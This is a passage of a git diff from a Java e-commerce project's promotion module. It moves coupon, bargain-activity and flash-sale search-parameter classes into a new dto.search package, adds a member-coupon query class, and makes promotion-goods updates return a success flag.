a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java @@ -3,7 +3,6 @@ package cn.lili.modules.promotion.entity.dos; import cn.hutool.core.date.DateField; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.vos.SeckillVO; import cn.lili.modules.promotion.tools.PromotionTools; import com.baomidou.mybatisplus.annotation.TableName; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/BasePromotionsSearchParams.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/BasePromotionsSearchParams.java index 5999e332..b07aea26 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/BasePromotionsSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/CouponSearchParams.java similarity index 93% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/CouponSearchParams.java index 279c73b0..50ff6350 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/CouponSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.modules.promotion.entity.enums.*; @@ -56,11 +56,6 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se */ @ApiModelProperty(value = "优惠券类型,分为免费领取和活动赠送") private String getType; - /** - * @see MemberCouponStatusEnum - */ - @ApiModelProperty(value = "会员优惠券状态") - private String memberCouponStatus; @Override @@ -84,9 +79,6 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se if (CharSequenceUtil.isNotEmpty(getType)) { queryWrapper.eq("get_type", CouponGetEnum.valueOf(getType).name()); } - if (CharSequenceUtil.isNotEmpty(memberCouponStatus)) { - queryWrapper.eq("member_coupon_status", MemberCouponStatusEnum.valueOf(memberCouponStatus).name()); - } if (CharSequenceUtil.isNotEmpty(this.getPromotionStatus())) { switch (PromotionsStatusEnum.valueOf(this.getPromotionStatus())) { case NEW: diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/FullDiscountSearchParams.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/FullDiscountSearchParams.java index d1f0adb5..c49c8e24 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/FullDiscountSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanJiaActivityLogQuery.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanJiaActivityLogQuery.java similarity index 94% rename from framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanJiaActivityLogQuery.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanJiaActivityLogQuery.java index 0639bc89..dbdd86ea 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanJiaActivityLogQuery.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanJiaActivityLogQuery.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.dto; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivityGoodsParams.java similarity index 91% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivityGoodsParams.java index f1740fe6..e8fbc84f 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivityGoodsParams.java @@ -1,10 +1,9 @@ -package cn.lili.modules.promotion.entity.vos.kanjia; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityQuery.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivityQuery.java similarity index 93% rename from framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityQuery.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivityQuery.java index 332a7d39..c31d2ab4 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityQuery.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivityQuery.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.dto; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; @@ -6,8 +6,6 @@ import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; -import java.util.Date; - /** * 砍价活动参与实体类 diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivitySearchParams.java similarity index 92% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivitySearchParams.java index 24c10cbd..6b7560ae 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/KanjiaActivitySearchParams.java @@ -1,7 +1,6 @@ -package cn.lili.modules.promotion.entity.vos.kanjia; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.util.StrUtil; -import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/MemberCouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/MemberCouponSearchParams.java new file mode 100644 index 00000000..de0fc500 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/MemberCouponSearchParams.java @@ -0,0 +1,104 @@ +package cn.lili.modules.promotion.entity.dto.search; + +import cn.hutool.core.text.CharSequenceUtil; +import cn.lili.modules.promotion.entity.enums.*; +import cn.lili.modules.promotion.tools.PromotionTools; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import io.swagger.annotations.ApiModelProperty; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serializable; +import java.util.Date; + +/** + * 会员优惠券查询通用类 + * + * @author paulG + * @since 2020/8/14 + **/ +@EqualsAndHashCode(callSuper = true) +@Data +public class MemberCouponSearchParams extends BasePromotionsSearchParams implements Serializable { + + private static final long serialVersionUID = 4566880169478260409L; + + private static final String PRICE_COLUMN = "price"; + + @ApiModelProperty(value = "会员id") + private String memberId; + /** + * POINT("打折"), PRICE("减免现金"); + * + * @see CouponTypeEnum + */ + @ApiModelProperty(value = "活动类型") + private String couponType; + /** + * @see PromotionsScopeTypeEnum + */ + @ApiModelProperty(value = "关联范围类型") + private String scopeType; + @ApiModelProperty(value = "范围关联的id") + private String scopeId; + @ApiModelProperty(value = "面额,可以为范围,如10_1000") + private String price; + /** + * @see CouponGetEnum + */ + @ApiModelProperty(value = "优惠券类型,分为免费领取和活动赠送") + private String getType; + /** + * @see MemberCouponStatusEnum + */ + @ApiModelProperty(value = "会员优惠券状态") + private String memberCouponStatus; + @ApiModelProperty(value = "消费门槛") + private Double consumeThreshold; + + + @Override + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = super.queryWrapper(); + if (CharSequenceUtil.isNotEmpty(couponType)) { + queryWrapper.eq("coupon_type", CouponTypeEnum.valueOf(couponType).name()); + } + if (memberId != null) { + queryWrapper.eq("member_id", memberId); + } + if (CharSequenceUtil.isNotEmpty(scopeId)) { + queryWrapper.eq("scope_id", scopeId); + } + if (CharSequenceUtil.isNotEmpty(scopeType)) { + queryWrapper.eq("scope_type", PromotionsScopeTypeEnum.valueOf(scopeType).name()); + } + if (CharSequenceUtil.isNotEmpty(getType)) { + queryWrapper.eq("get_type", CouponGetEnum.valueOf(getType).name()); + } + if (CharSequenceUtil.isNotEmpty(memberCouponStatus)) { + queryWrapper.eq("member_coupon_status", MemberCouponStatusEnum.valueOf(memberCouponStatus).name()); + } + if (CharSequenceUtil.isNotEmpty(this.getPromotionStatus())) { + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.valueOf(getPromotionStatus()))); + } + if (CharSequenceUtil.isNotEmpty(price)) { + String[] s = price.split("_"); + if (s.length > 1) { + queryWrapper.ge(PRICE_COLUMN, s[1]); + } else { + queryWrapper.le(PRICE_COLUMN, s[0]); + } + } + if (this.getStartTime() != null) { + queryWrapper.ge("start_time", new Date(this.getEndTime())); + } + if (this.getEndTime() != null) { + queryWrapper.le("end_time", new Date(this.getEndTime())); + } + queryWrapper.eq("delete_flag", false); + queryWrapper.orderByDesc("create_time"); + return queryWrapper; + } + + +} diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PintuanSearchParams.java similarity index 95% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PintuanSearchParams.java index c49cf6af..7524655d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PintuanSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PointsGoodsSearchParams.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PointsGoodsSearchParams.java index 11a7df3a..8b6e118b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PointsGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PointsGoodsSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PromotionGoodsSearchParams.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PromotionGoodsSearchParams.java index b3da07fc..01f5f211 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/PromotionGoodsSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/SeckillSearchParams.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/SeckillSearchParams.java index a19f4ec7..74f59153 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/search/SeckillSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.promotion.entity.vos; +package cn.lili.modules.promotion.entity.dto.search; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java index e0afee22..241f7781 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java @@ -2,8 +2,8 @@ package cn.lili.modules.promotion.service; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.vo.PageVO; -import cn.lili.modules.promotion.entity.dto.BasePromotions; -import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; +import cn.lili.modules.promotion.entity.dos.BasePromotions; +import cn.lili.modules.promotion.entity.dto.search.BasePromotionsSearchParams; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; @@ -110,8 +110,9 @@ public interface AbstractPromotionsService extends ISe * 更新促销商品信息 * * @param promotions 促销实体 + * @return */ - void updatePromotionsGoods(T promotions); + boolean updatePromotionsGoods(T promotions); /** * 更新促销信息到商品索引 diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java b/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java index f81dde24..47b95335 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java @@ -2,7 +2,7 @@ package cn.lili.modules.promotion.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.Coupon; -import cn.lili.modules.promotion.entity.vos.CouponSearchParams; +import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java index 4f84cf77..860d38fc 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java @@ -5,8 +5,8 @@ import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityLogService.java b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityLogService.java index 12e591d8..c6a3de22 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityLogService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityLogService.java @@ -4,7 +4,7 @@ package cn.lili.modules.promotion.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; import cn.lili.modules.promotion.entity.dto.KanjiaActivityDTO; -import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery; +import cn.lili.modules.promotion.entity.dto.search.KanJiaActivityLogQuery; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityService.java b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityService.java index e2a5e2e4..4d653290 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityService.java @@ -4,8 +4,8 @@ package cn.lili.modules.promotion.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; -import cn.lili.modules.promotion.entity.dto.KanjiaActivityQuery; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityQuery; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java b/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java index 56355b2e..6f4178cf 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java @@ -2,8 +2,8 @@ package cn.lili.modules.promotion.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.MemberCoupon; +import cn.lili.modules.promotion.entity.dto.search.MemberCouponSearchParams; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; -import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; @@ -50,24 +50,26 @@ public interface MemberCouponService extends IService { * @param pageVo 分页参数 * @return 会员优惠券列表 */ - IPage getMemberCoupons(CouponSearchParams param, PageVO pageVo); + IPage getMemberCoupons(MemberCouponSearchParams param, PageVO pageVo); /** - * 获取会员所有优惠券 + * 获取会员优惠券列表 * + * @param pageVo 分页参数 + * @param param 查询参数 * @return 会员优惠券列表 */ - List getMemberCoupons(); + List getMemberCoupons(MemberCouponSearchParams param); /** * 获取会员优惠券列表 * * @param param 查询参数 - * @param pageVo 分页参数 * @param totalPrice 当前商品总价 + * @param pageVo 分页参数 * @return 会员优惠券列表 */ - IPage getMemberCouponsByCanUse(CouponSearchParams param, Double totalPrice, PageVO pageVo); + IPage getMemberCouponsByCanUse(MemberCouponSearchParams param, Double totalPrice, PageVO pageVo); /** * 获取当前会员当前商品可用的会员优惠券 diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java index 93a186d1..f019298b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java @@ -4,7 +4,7 @@ import cn.lili.cache.CachePrefix; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java index b9244031..99b60133 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java @@ -2,9 +2,9 @@ package cn.lili.modules.promotion.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.SeckillApply; +import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams; import cn.lili.modules.promotion.entity.vos.SeckillApplyVO; import cn.lili.modules.promotion.entity.vos.SeckillGoodsVO; -import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; import cn.lili.modules.promotion.entity.vos.SeckillTimelineVO; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java index 5264f309..e05fa0a4 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java @@ -6,10 +6,10 @@ import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.vo.PageVO; +import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.dto.search.BasePromotionsSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; -import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import cn.lili.modules.promotion.service.AbstractPromotionsService; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.tools.PromotionTools; @@ -31,6 +31,7 @@ import java.util.*; * @author paulG * @since 2021/11/30 **/ +@Transactional(rollbackFor = Exception.class) public abstract class AbstractPromotionsServiceImpl, T extends BasePromotions> extends ServiceImpl implements AbstractPromotionsService { /** @@ -69,8 +70,9 @@ public abstract class AbstractPromotionsServiceImpl, T e this.initPromotion(promotions); this.checkPromotions(promotions); boolean save = this.save(promotions); - this.updatePromotionsGoods(promotions); - this.updateEsGoodsIndex(promotions); + if (this.updatePromotionsGoods(promotions)) { + this.updateEsGoodsIndex(promotions); + } return save; } @@ -92,8 +94,9 @@ public abstract class AbstractPromotionsServiceImpl, T e this.checkStatus(promotions); this.checkPromotions(promotions); boolean save = this.saveOrUpdate(promotions); - this.updatePromotionsGoods(promotions); - this.updateEsGoodsIndex(promotions); + if (this.updatePromotionsGoods(promotions)) { + this.updateEsGoodsIndex(promotions); + } return save; } @@ -212,14 +215,16 @@ public abstract class AbstractPromotionsServiceImpl, T e * 更新促销商品信息 * * @param promotions 促销实体 + * @return */ @Override @Transactional(rollbackFor = {Exception.class}) - public void updatePromotionsGoods(T promotions) { + public boolean updatePromotionsGoods(T promotions) { if (promotions.getStartTime() == null && promotions.getEndTime() == null) { this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); - return; + return true; } + boolean result = false; if (CharSequenceUtil.equalsAny(promotions.getScopeType(), PromotionsScopeTypeEnum.ALL.name(), PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name())) { PromotionGoods promotionGoods = new PromotionGoods(); promotionGoods.setScopeId(promotions.getScopeId()); @@ -232,8 +237,9 @@ public abstract class AbstractPromotionsServiceImpl, T e promotionGoods.setPromotionType(this.getPromotionType().name()); promotionGoods.setTitle(promotions.getPromotionName()); this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); - this.promotionGoodsService.save(promotionGoods); + result = this.promotionGoodsService.save(promotionGoods); } + return result; } /** diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java index f9a99c45..f7961151 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java @@ -137,10 +137,11 @@ public class CouponActivityServiceImpl extends AbstractPromotionsServiceImpl promotionGoodsList = PromotionTools.promotionGoodsInit(fullDiscountVO.getPromotionGoodsList(), fullDiscountVO, PromotionTypeEnum.FULL_DISCOUNT); this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); //促销活动商品更新 - this.promotionGoodsService.saveBatch(promotionGoodsList); + result = this.promotionGoodsService.saveBatch(promotionGoodsList); } + return result; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java index e36027ac..7b4e8db4 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java @@ -13,10 +13,10 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO; import cn.lili.modules.promotion.mapper.KanJiaActivityGoodsMapper; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java index b0bfde1c..21c4a344 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java @@ -9,8 +9,8 @@ import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; -import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery; import cn.lili.modules.promotion.entity.dto.KanjiaActivityDTO; +import cn.lili.modules.promotion.entity.dto.search.KanJiaActivityLogQuery; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.mapper.KanJiaActivityLogMapper; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityServiceImpl.java index 704b4387..828bf7d0 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityServiceImpl.java @@ -18,10 +18,10 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; import cn.lili.modules.promotion.entity.dto.KanjiaActivityDTO; -import cn.lili.modules.promotion.entity.dto.KanjiaActivityQuery; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityQuery; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO; import 